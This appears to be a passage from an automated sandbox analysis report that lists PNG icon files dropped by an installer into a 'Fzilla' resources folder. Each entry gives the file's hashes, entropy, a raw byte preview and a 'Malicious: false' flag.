SHA-512:	4219BBE56782B92218084F3090D8ECC51C512E5D14084F7804F2DDFB2A5B5479E70ED9A840B71AE357373C132F87D9009FE0CDA03A9B6AF8204EF6A9C82B727B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..lW.]w..A.m+.m....G....~E.m.z....<.;..9o..?..J...{.qf\...O...~..B...nw.......N..M......).....kl\|M..u.].x..#...~<..SA.0@d....1.k2A"....o...\~...i.v...V.....`..0M..e.c....n..F...1......02...}.]L.....e.P...e...-.g...; .Z.b.9`..'.pBs%.......8..e..(......B.Q,..j.N.....dq..G.!B..._.......e......?.S./1.0&....v..]......0.=.."........P(`...Gww7...P..1U,\.....v.2.6.{.. ..UU..788..N;..d..J.]]]l.......b.dz.u[..Q.d.)Z.W)....k.m.6..Lb..H..HOOO..m...qR@..=........ok...IU?W.\|...}.F........Z.d...y..g...-.p.;*.. ..o..[s..h..E.p.p....p.A../.1m..\{.a.4..N4....._...^.$.7..bxx.....G.....@........a.5..A!?r.2..\|....../.....,..g....d...B...FS..)..c...r`.@.b..{.....`0......n.dY`...J5...C.s.Cy=2-..0..8..?.(.>wI.O......F<..%.-...u...G.6gv.t.nX..\..jP5].f.....1Z..s...0.i.l .s#V........$9;............s.......,OEN.Re... .k..M..R.p.dx\N...V,.zN&.Cg79....c..5DC...........c.....v(....X.i..w..H..S...[nA1t8..v4....#1......./E..

C:\Program Files (x86)\Fzilla\resources\tango\32x32\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.674515518232267
Encrypted:	false
SSDEEP:	12:6v/7io71NtFbCbQYTAjU3h56KlgpaS09JqDqanFSKXI2YdZVrCWDCBe3nsCtIqIj:4FkEmeyeZ09IHI2YdzWWGBe5u22Sebyc
MD5:	7E4E4E47715E5742A716D73B51891249
SHA1:	365D590DF03B95486DB196BB67A2222078CA4969
SHA-256:	7D2192A44C1BC190FE25A670C98F740DD9E41F303E877EE95E1A2D9D6BEA7D40
SHA-512:	72EEF61D460A740FD93E78A6BECC8738C2601355E738FBC80B4B6A2A4A1E2D9B0444E529C0379F721AF465543A8FCF5EDB54A903F4B7239A93427421661E2A60
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz...._IDATx.b.h0..a....=..Z.v#.../=....3cd.....NM?......bfL..x....s.v.+...U-....#).n.>...+q....mpD.n....n.i.c..Zk.........7.x.5......G.._..(...~...w.i....'.......Z..[>..SO=f....a.}7\/...<..."..a..].N\|.........p..16.R.o.A.&_..[o=...}%0..p..q.f..pt..ieY.!n...=7....c..d..h.....v....vd.\|LJ......N..w........?q.FA..../.w..l:..N/..'q....K..Q.....2..^....T...R.~7...'.g..-.O.`.....[...e.,H..%..I1@...R....& .@.K..9\...Zqq..JD.[......2y. <1n2..V+..s.R.....iM...Q.!/%4hX7...8..$... .....,.d..@VH@...:....:I.\.....ZX..'h..........g.,...q....b].=E.N...O5..8...G.V........s,+.A/@Z..1m..x....../.\..Y.....1.:.....RCi.....V..2..#.......^../0K..B..R....f../ k..;.X.!...._..W.F..AY....M.`%........T.?ar..?),W..4:...g.C......p.i........$ .=......>D..j.....e.....x....`1_.H...$.n...F...o........l@.........].rk..o.h...X..#.%....x.@..fn........,..D.]......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-0BEOE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.650027473572644
Encrypted:	false
SSDEEP:	12:6v/7ioKOkrj6PIpYgterL1oqsM03/LL9ZhrvJrlQDKIkxUSsLjmlm+CiPz1TyIqM:uKJjPpYh1oqOVTrv7QDpW83iLYC
MD5:	20D5568A60308A123D83796BEAAE7E29
SHA1:	3F1310D65FA19FAEED9C9D37DA547F9F7AB56FA7
SHA-256:	65DE672EDBE6242F051A5703FB3BDE256391662D6FF203152518A23690D5183A
SHA-512:	295D8820F24D816A3C93C320E1FA3FB3E04443DD3048394939442574E0B36EC2906E3E34C8DEEDC79518B1314C22FCF7BB619BF932DE7ED6DA21FB22480B529C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b@..`.9B..._........y.,..Bl.v....../.H1..dm.....sk..+..4o.{......YYY.L.&iS......"....P...3d.4I.rP.p..._)((..........dCC....F....8y......j......../.~\|..Jww7TUE ..e0.$..#M........DDQ.h......K...)..b...'..w......hlj......3<~...^..W.onn.y.....c$.......==.....c.\........$.7.....AGG;.)..n.=.....]{.c.N(J.......V...^..=g......D.1.;....d.].a. D2#../S..tC.3&...H.......g#}.X...@.v[[+8{..!P\__.sr.'...[.........c.Y]]E.f...o.>B...8&N.r..y;.9.o...\.&..8.....y<..+p.....z.?.'...&..x<%..l<.%9...C..Q;.n.1.o.....u....f ...h.F5?...l.;...1.!.A....**.....&..'OKKCee.:<<\|...U..{nNNN[ii....!..YVV.eeeu,\.p...`.o.m.s..aAC&..O.<.x.....,...! .../.Rp....\#.Jp.`&8..E0]0C"S..`....D..o.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-0C5PT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1416
Entropy (8bit):	7.811528189217717
Encrypted:	false
SSDEEP:	24:Y1stQBVPSfiRUHX3p1zbEsJtvtCj+bStcfl5hgfPc7vNY6ws2Z2ml1:dcc3plbEsbYj+u0XwsDml1
MD5:	6DBBA28A0845E323B1A847F669505EBD
SHA1:	05B7951B9CB2FF9B54229B1436EFD0DB85D2C6CC
SHA-256:	022D193B8D0B61477E5D8032DDB4C47D820DE9F121BECCE3B446B26D87F55DE5
SHA-512:	8470D281B00CDF986E4C493CD91292E2FB71A8B2FA6C4062621930E23196FA4C88C2D5F8E03E48689D0A7EF19B14967C1ED660C92C5E2A9B2584CF2F899D9879
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....OIDATx....l+..@........23333..2.J.2s+.....>.s....l.N3JdY^.R]8.5...I4...#...m..I.P,..r.}...z..i.]....7<...'_..u ..8D=.......,.Z.k.YK.........(..:..BP.U......1_....[..O.y...E=.0..~.;.a. .C..:....-.$..Z....0T...S...]'.b7s#..T]...g_.....!Hg.<...b..U...[[>)q...w.../.YA.k[1.v.l.A.'.h.....+.f..%.-.E.Vb..r..%...$./...XO.q?T..$....R.y..5<}.-.1z.%RX......Y...X`Sf....V..D...@K`..f."K5.IS.......X...L#.%...f...... JC.".:..p...@......5.FZ........c...):Z..t#.%.:.C0.2....Ps . ...TF.(......r..I.I..Kx.C.v.>...@.. ..9...`K...$Rm..@u....k.u".133.TE:.vs.6... ..%J:.Za%....jh.0Z.f@k...S.=..#..............m....2..X.E.+........ ..1...A.w...@{kf+.m--$.q..Q.......p..E7...nk(........5......xO..@.6...r.....l.......-..$......&P-.S.RL.O$[p..(.)...o!H.#.{.....39............PW.Z[YC.1..31.m4.......p.zQb.)..b....P.....<.A.\r!.w..E*.R.-\.}6.y'......../_.....{...3.AxD.........SE..pQ9.}.......8.....JI.===...S....%I6'q...J+.w...?^......w....RJ.S

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-0LAS3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.884713691058794
Encrypted:	false
SSDEEP:	48:OOMRdNTdEqzcrus2KekXcU4WpvICYWH2RASDhhQq2ZYSMz:Op/NTdEEsu874WxICYfASDoGSm
MD5:	516DC24F3EE5A9FCD4BB5997405FADD7
SHA1:	0D97462B2AEE06A146C6A6AA87647788B566902C
SHA-256:	2700DAFAA6CAF16BAD4D6683EBC95670B67E92EB2D2EF3F44D5A2EED8A8E2639
SHA-512:	5397132F58065FB2914442A330B602F80A65FD8036E735BC305F6938437D22714C6410488D76A1DA309CD229B8930FBB4D3F4142582FB8AD0E267B927AF104EB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...t._...Q..&......Y...)....uS......$S.J.fP...}.,.......}W.....o+zs._1.k..@hz^...O7..@`.D(<..X..mD;QBx.+8.+..U.........3....j.."..O....... ..1.<y....J.z....DE...&.;vX..3g..?[1).....B....G..&......B..[.....(................%"<..."s........n.yf.7n..F.g?.A.w....I..Th.UR.Dt..A...G_$..d.....3......ho.D.<..O..,_....D&e!9[...:D.W!;.XkXQQ9v...k..+g......k.{.........4.!uzs..ec,......^$.PP.DU..U.}P6...(x..B.d.\|D'.....mmm(/..5g.....U......S.@..#T..8.v..1...R......"Y..BU#.....Q...CQ..M.-l....n.....#.6'Xbj..o...........J.l.A..@l.FD.C..b[...i....BTR...P..ht.....R.;....-GQi....)A_A.Rc..K`I..p....[U<.+.C..B.!)O%......6F......U><<...I.h....P.................,......J...I.....5<.j>..........~../c.o4s....s.FS..`..br...,. .-@5.."....Q\..CV^.*.......!(...j.o...T...\|....)..d@......hx...I.y..)..f$.v!M...!b.9.>..TN0......hD......<......H!.Qr..8c......T....:....s.(.Cp..q..R."<..1E....-HL...\|xx.MMMH..`.I....uKv&.......qb..

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-27KHL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	7.801261393390284
Encrypted:	false
SSDEEP:	24:FWqWclpY2a9oOSDG1X6S7P1Q5IUhd8eiVI6p4LzxxbQvff/oGOcKz:NTY2aDSK1X6sQGUPLoI6p8303f/LOlz
MD5:	C13A4882A6686CBCA2E973294647518E
SHA1:	49596958A896265876BA64B93ED0D3B3E21A7B30
SHA-256:	C319D209C43F7BD11B19EE79F6CF14EC7F89240801961090B0A96284216CF2FB
SHA-512:	4219BBE56782B92218084F3090D8ECC51C512E5D14084F7804F2DDFB2A5B5479E70ED9A840B71AE357373C132F87D9009FE0CDA03A9B6AF8204EF6A9C82B727B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..lW.]w..A.m+.m....G....~E.m.z....<.;..9o..?..J...{.qf\...O...~..B...nw.......N..M......).....kl\|M..u.].x..#...~<..SA.0@d....1.k2A"....o...\~...i.v...V.....`..0M..e.c....n..F...1......02...}.]L.....e.P...e...-.g...; .Z.b.9`..'.pBs%.......8..e..(......B.Q,..j.N.....dq..G.!B..._.......e......?.S./1.0&....v..]......0.=.."........P(`...Gww7...P..1U,\.....v.2.6.{.. ..UU..788..N;..d..J.]]]l.......b.dz.u[..Q.d.)Z.W)....k.m.6..Lb..H..HOOO..m...qR@..=........ok...IU?W.\|...}.F........Z.d...y..g...-.p.;*.. ..o..[s..h..E.p.p....p.A../.1m..\{.a.4..N4....._...^.$.7..bxx.....G.....@........a.5..A!?r.2..\|....../.....,..g....d...B...FS..)..c...r`.@.b..{.....`0......n.dY`...J5...C.s.Cy=2-..0..8..?.(.>wI.O......F<..%.-...u...G.6gv.t.nX..\..jP5].f.....1Z..s...0.i.l .s#V........$9;............s.......,OEN.Re... .k..M..R.p.dx\N...V,.zN&.Cg79....c..5DC...........c.....v(....X.i..w..H..S...[nA1t8..v4....#1......./E..

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-61PIK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	463
Entropy (8bit):	7.285591582716212
Encrypted:	false
SSDEEP:	12:6v/7AQJMD0+E77F3+F9OZwyL0vR8R04XOOPNA:FWMwtvwF9AfL0v6HG
MD5:	B0B28E8BCF6FEEA4F812E55DD3FB5C24
SHA1:	D7583FF9BFBC3E4B816CE53CF1C89485B03EC926
SHA-256:	FF9E0FBEBE9D74986BCBA9DA7EEF64D8CCAC851BF0B692ECD38032B4E93BC0D0
SHA-512:	C223ED04489F86CCE866BFDA0A4323CA0DAE38A29527FFC8ABD7E7C83454C0D020049B3FCAF1FC2D4D06E545F90D5E44D7AB48E690A7879EC3ACC33458D7C8B5
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx...5..A.E.....%..e.,....)!........k.;tw...S5.q..>un....8.o...tZ.V..h..o...........!..j.......x .f... ...%...HB... ...2.]..K.....H"CVN...P7X..d.V...R. O.;ZQ4XC..5[...Q1.....7..U...W...:._6... ...."..S. .j..L....:.}.....\|[[8.9R.PH...f...-.0h.H.9.d........{}...k0dc....Q4.......x......9.(8$I........E.u.I..=...$.+....D.....9......`.e^....m......7...'-7../.R..3j...b.G.<..0j.0y:.}.U...U..tZL.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-7LJN0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.578087610312301
Encrypted:	false
SSDEEP:	12:6v/7isR9AjSCFGsxud4h2nkwHQsRg9rTxCSkmHtLO10WoRSnKuxQAPW:SR9AuYhSkwH6pxHLOG5AcN
MD5:	BF5D35B2275410721E663F3867167007
SHA1:	10352BCE64796AD813781757F0D5AF395798158C
SHA-256:	7159E988C41E1066526CF7CCB59AC6520533D43272B28CFBD9663492E1669F96
SHA-512:	A58522CF6A29461A593F7D6A2B45C4E02D58856C0516AC95DAB0B56DDBA9782C5CE4F2512F16866259A241E3AB803819D9E238E29EB643F72A53C0C0EE5E9121
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...l.Q....r.m.N.'.m{.j[A......n.F.m..w8....O..\|....].o......%~.$....i.5?.e...zR(++._......577w.099y....#....4....2.....................4.M...wsrr..622...QR.R.>\|.P....c.!....Y.....{.F."..AZ.......?MN..8.......c..5.^``. kHKK..o....."!!...........................[.n.\|...'.`.N.J.M#..h..B...:s.L...BKf...{.....]..V..{...C..V2..R.`...f.Z....Y...>\|8.{........j.^&.Q!....=2..T.g.h4.^....m[9/,,"GGG....<.....THH.7s..i../...q...~..t:.\|...........k..\...........0..5.v.Z...gE...m.........\... ,)).u+..EEE.Q1fKKKy..j.8...*G......w.i......cm.bi.8S.b.\|x......FJ.K_..........KD....;.....t7..y..2..%Y`.t.n....}q..HV......A\|GG....T...X. f....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-8NMNR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1367
Entropy (8bit):	7.781283060302408
Encrypted:	false
SSDEEP:	24:cMiNeraT1CWQHwghcuSAwK+pcuPHqeXs4rfV4B3XQ0V6W:2NetVQgoAwTccbXsoV4BHeW
MD5:	84222D4A0FC4CE352D34746DDC54AE0E
SHA1:	9F385D46DE6D44E1E67A3B8452B833BA17B0CF69
SHA-256:	9AECEA403F345300968674E0869FDD10B493520ABEA451EFEBE89FA00F80F57C
SHA-512:	6B7455F6A7005145B483A2F2B2AC448D420BB8ACBE1B1E677B421756D4485A9887FECC403591EBFCDC494ADC9CCCE63BAFFA3C557DCE2C47B43EF026E3ECC5BC
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..%I.}U..<.m...8...l+p.m...w...UY..nGEG...M............y.....v2...S._.c... "k..................x....\|..}..6n.D.b1..`.l..a..-..._....V.#...{`iyY..y#.R......a..I3J_~.....).AM.4c...)~.~1..D!.....q....\|..$:tj...U.6".J.bR .d.....?,..%_..................y/.w.ih.=.).yn..@..5G)...W...k./. .\.9.`}.9......q.e.BJ..UJ...X.Ja........!T.....%q.\.$...L...$.0.."p$.y.P........L..@.o.1..X..%..>\|)(_c..8.....`.......F.. z.OyH..H..N'Q[Wc..D \|..p.N.A....@b...i/p..m......#..C]..i7.,...).. K.._..O`.vU.m.`.9h.;>..mlZ...U ..'..^.@.^..C'B@.X(.....@.$....a..o@.c@..8r.)X..[\|..;8.c7.b..Ie.=.x..F.......T..........k..\|_a...Pf.lY..........8j..x..g..;.#....n?HS.u......).G......7...B. ...`....3(.6....".@r..B..-.0#..6.....8......(o~(....q.'..aM...q..`.. _.l.B.W....LV..S@..k..G...SO...q.7a..@%...8.N.yC...a.^X...R.\|...-..a...+... ./.........x......7.d?........_.h$..DC..<_.?TT...&.cB...s....3.]:um0......?..i..ST..!.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-C1LLS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.753032737249562
Encrypted:	false
SSDEEP:	24:wocTcaOxGzMrw2HZd025MMcBf3AkeD4adfbpzHF0pKw1lglRve7+M8lCq2OYVZ6w:Jc2xeMFn02RcBIkePdfhlq1lgjsalCqw
MD5:	40968C1F1E8ADE30A661B901B152F927
SHA1:	8DE6CCBAD8676EC750297EADA024C3BD3981ECED
SHA-256:	B0074CF43CC1C0349757CDC96132D752A1A8441243FDDC11FE70BE9103A01488
SHA-512:	DAA87FD309265051123D6F1E0D1CB360673D8841A42407CC6D91383C2E566DC6D24EF7CC26B88C72F57213875E141C23A9AF70FDACE8BB82A1E98F6119FEFCC6
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...pdY.@.}/v......vam...rl.m...f..L.w..~.......dq.f....)...C..^v.].v.N'H&S/<...m.@a..g...uk...j..N.4.....@&.]z...F.w..I..<...D<..)..)......PU.......s.c.....g..\|.2JlYm...).P...G.D.......4'.....x.%.TvJ@..."..7..Q.9...e.f..4........Vtz....$..$......%...`K..........."..\..D..d.....6x...3.........7>q...........1pl..&.%0.<x..DJ..t.q[R...OfQ."..?..pAE.......RR....#..+/...Z..A...`.....aa.i...P<U....9..w..l....s(4...Kf..&e[..[.6..4n...<.....cP.T.5......k.........Xki...x3..u...5....EQ.....9C&..6..vC.C..B....mb.%.0E..+.`..."x..u4'[.(-....[...IS'Q.l&k..]~KQ..q'.h....1.<s...nK-...j....?.t:M&.!....7_.f.=ZD..v...9.=r.I"r..7.....@.......&X.K.a.7...5..O..........s..E.VWWM.......U.kX....58q..f,..H.p".R.8p...Q.c...oP.aH$...8.L&....A.^\|.J..Ru..X...,,.X.og...P@0.......N....$.o_......0`.u.u444...../..............^b.o.ND..eK..4..n.. ...[.`.r@..x.*.$..C........yzC}#...9s...4N..N..X.z..@.H...-..E.VF.@...........'..`..n.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-DCKM9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	7.744166234014491
Encrypted:	false
SSDEEP:	24:yblKd5de+zbEovxGQI8ghsv4HkdIdnJ0B33ZW+c:yblEde+zbEo3I8KswHk6dmFZW+c
MD5:	BD04CCA8D82FEE4DE9E9413C61895C48
SHA1:	46E5985C91096A061161A28653C325CA7A61730E
SHA-256:	F44067334D0A09208A522EF63B3D9375273667893C2D990A9681FE28708ECA23
SHA-512:	854CB2BE988AEBF5A1E81FDBCD967FEBF3BD1CD4226DF58D37635E76226715764F3BE78AE3C43A658D0A2C69F97B5F305F3368EC99A868385874609A611E7D3C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....)IDATx.b.R +;=.@[9.IsEQ.c.f..m.v..m+.Fk......8.}rr...n......W.~}....TxB\BL...`..\...../l6.g......f.'_..A..0N.Mbtl.#.....>bA.d.#:..,3"2M.O7!,..4.BR^EP.+._.K".~c.6wl..c......":...."....g....F......._..!O...m.......2..JJT ."...Dp.a..K7#..9.I\v_1...`..6..u......[..\JP$.......{.q\ro..E.......?..w...W#.... ..@..../......U..k}......._e<0:.WR.... ..&05=....".c.."qu.S...IY........."...sS&.qt....u..gq]...Z...f.g.O2.~.._."....j..3>........M..l.y.#...r.W...n.......t..@Wo.o".......@~Q.df../..8_e\.zz;.ac;.ky.o.....f..l.....ln~....+.>Q#`.[..... ...Qy....=./.Z.]/...."..k...w^tl.............."..N$.(qK..`...'u3>.......-..IQ..B...vr.(......;..d.,dz..7.w,:.?.........3]....QQ.U...].Y..Kd..;>....f....<#g..J...\.W>...d..f......[o..3..4.:.\..w..J`ff..?t......."N....&N>...Qi.bs.....'..p...]H.....MC..JH%..lI.f3.../....{.........??.-.l...\|.^...H@a....."...`@Cc=z{.QSS.*..5r......mx.'=........0..Jmiy.......P..==...B....lT..E[.%....`s\|..g

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-DFBJG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	455
Entropy (8bit):	7.386413558957136
Encrypted:	false
SSDEEP:	12:6v/7kB78LwM5ozMUKAITJ0o5peIUD2/pXhVgO3X/ztvD3B6Ot:9BtzMGu6oTIDERjN3Ltrnt
MD5:	93568F9276505E35C4DDCEF82C8419F7
SHA1:	7AE90AE578156B56E0484F35315F927963A4FAC9
SHA-256:	D44678A0C955ADA88F5335B791F258EFE8B29D7FE3F91FBF7410CFB05C0B949B
SHA-512:	ED24D581E56CC4238F44C23357598E71842463B96000390532292474A710964861CF950909F37BD942500A37B61E57BDECBA838908B0F2646432AE5C0A7D190F
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx.....A.E_....j.m.6..6b.m..h..[....{r.ygD=3'_.Bk.].8~....f......I<.....B#...Q.S5....!...V..C. .JQ.A. U`..A0...t..2P.A......MbF..>.......?...7.+...8....o/>.v..TB......n$?.{..5..J..ZP...?c>$=.z.q&\|&.m..m....^n......A..0f.;....o.........g...8.ap0z.o.s.......PV ....K........z...B.i.%.3j,.T...S....2..J...4V...ILe....T.`.N`...Z.Xa..C..R0....&..0.....F.<ZNkxXF.i..d(M..<L.a..t....6.s.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-DJPSM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.739052263685285
Encrypted:	false
SSDEEP:	24:XftadLiO/XIwU9S+Ctrn0KA5SaGXWy3IuHTwlQ:XYwwwS+Ctrn0KlHYIx
MD5:	901CCE92D0A7C4DEC01BBBE6FE988C70
SHA1:	61E676E36CCC8C4D99DA5B8FACA3D5273FEAC860
SHA-256:	5FA645026CFF5EC73D41EDA3C21DBDA0CA008401FBD7BA61169486E3FF462C56
SHA-512:	024D8AAFB095778E50064C268413FAB34A3809B8334CEBC025B2C8A158B486F3251CC59565EBE4770C219F1F28DD7B5800E5224C461E3488095B847C89C2A16F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....,I.@.m.q..g.Z...m....Zc-......g..P./z...._..Z.qQ/...A(d.f..Z...E.LfCP.\./.......'.Jo}f9..'..O..j.$d.......Z.-...J..+.n.......#P.x....E..I.._..C.?.,.t9.`.[:P.].MH.J-.-.@.1 ...P.h....C\|.........u8N.k:...4w..E..P..Q..5.4P...A.......&m.;...C.p..[...zhB.Q..oI.Ih..=.T.v7.\|'0a.>........m...h.40P@.5..x.7..{.<...s%...]04<...D..zx.P./......=..S...@$..M.I.2..V...+%.u..+05=.'....._.........Az.j..~.....8...".......EdwM..9...@......V....Kp.`....9...i..K....AD..x7#..?H ...,F....<(e.........I`L3.}.j....wl....-.s.yIeu.....ID_][q.~.....=......M]&.0BZ...^.8d...6....%6>.....;Q.%>.O..\...mk.$..Q.}.e.Zy...%C.k.!.[.+V....!P.U0g.l.(*).QX.7........ ...8..0...!.....bll...:..V..V....v.=..^}..(..j....C...~e.V.....8'..z'. 8....j..$p......>.Hd..'rC.c...i..H.Li.-/GN........%.>b......6~1r)m..J../v..I.Q^.g.}.!6.....EF..f..b...4._......}$K")%..9.P~...q.}...8...i.h4..s.A5.c......Z..^.........O.A6.c..........y[v..Gp..X...d.......

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-IE36I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	463
Entropy (8bit):	7.285591582716212
Encrypted:	false
SSDEEP:	12:6v/7AQJMD0+E77F3+F9OZwyL0vR8R04XOOPNA:FWMwtvwF9AfL0v6HG
MD5:	B0B28E8BCF6FEEA4F812E55DD3FB5C24
SHA1:	D7583FF9BFBC3E4B816CE53CF1C89485B03EC926
SHA-256:	FF9E0FBEBE9D74986BCBA9DA7EEF64D8CCAC851BF0B692ECD38032B4E93BC0D0
SHA-512:	C223ED04489F86CCE866BFDA0A4323CA0DAE38A29527FFC8ABD7E7C83454C0D020049B3FCAF1FC2D4D06E545F90D5E44D7AB48E690A7879EC3ACC33458D7C8B5
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx...5..A.E.....%..e.,....)!........k.;tw...S5.q..>un....8.o...tZ.V..h..o...........!..j.......x .f... ...%...HB... ...2.]..K.....H"CVN...P7X..d.V...R. O.;ZQ4XC..5[...Q1.....7..U...W...:._6... ...."..S. .j..L....:.}.....\|[[8.9R.PH...f...-.0h.H.9.d........{}...k0dc....Q4.......x......9.(8$I........E.u.I..=...$.+....D.....9......`.e^....m......7...'-7../.R..3j...b.G.<..0j.0y:.}.U...U..tZL.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-IEK2B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.679467645169867
Encrypted:	false
SSDEEP:	24:Rl7DPUG+Zy4rP78pnJBbD/lzPGc+rrVuBGB:RFP1CF78PBX/lzPGtrVuBo
MD5:	68FD3F6DCD98DD9007A07EEECEFF296F
SHA1:	4869D25D4B1756D5192635DFD06016F9AFBE638C
SHA-256:	D6BBF7732BD701770530DF7724F3A7729D99758A171DA947552D98D2EAB62DAF
SHA-512:	534777D5BBD71A1774E4A2A25CA9D1627C66A79BF15B13686BDC1FABC615200169A5B44FD57DB63BEA76340C3ED78EBEB157231546B672F2D6AF98FED5638EF3
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..`...) ..b..r.....:--5./..XG....m.R..c..v....S\|.m....6......[....#n.D......5....].........A:....../..it......].v....#..D@.R.@...X..n\.{...^....Cz...O.!..B(..Bxd......).l.QH.. ..\.K....w....9:;....\.~(....O....DD<......=.'.Maa."...h...>}z..ZI^& ....D.k...pVO..f-[..9u...H.f.......F."..c..L......m.........2;;......$...G.4Z.H.....BJmc.."%...=Q.+...\.+..DD...W3.............w..K../.?.._.n.c\<.A.j_&...w.N...f36S.a2...^.O....bO..z.....I.I1..\.}..U......P.....[....9s.......MAFF.d.OW..e5V(.)1.DM..u...!6>Z....&11ferr..;w.4o6.{.n2.E...P_W.@./.D.x6.M.T!-=U...P.........x_.........z..&..j.j....G...!...........g0.th.A......Jz.GI`.....p]Ttx......h.,...... ...L$..9.....kzz...L@..n....BI........{... .82.,....c.D.Fh..>p\(.N..w...>{<.;{II............\........Q0......p.(!....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-INK2S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1769
Entropy (8bit):	7.876413498361021
Encrypted:	false
SSDEEP:	48:wmWZw3bG7v4xiKaCM0qrjEw8Vi6rsAxeF6uLNXka9ITKd:X3bDM3rjh8ViCxq6upXcKd
MD5:	2C02B6DDC4EBB751F97995900A462DA8
SHA1:	88D5B973FF0A7707649DB945C3EE2649CC10C38F
SHA-256:	3E388755B702AC9C6207782D29594980678B8645DBAE56CC1A6FC465F33FDF96
SHA-512:	F737465DA65D762FA1A5A838BA365924C160D02E25617561E810DDCA457E12A38EB8593D932FA7D08AB70A36208D570C0039541DA2105850578B62D4EA8EDC3A
Malicious:	false
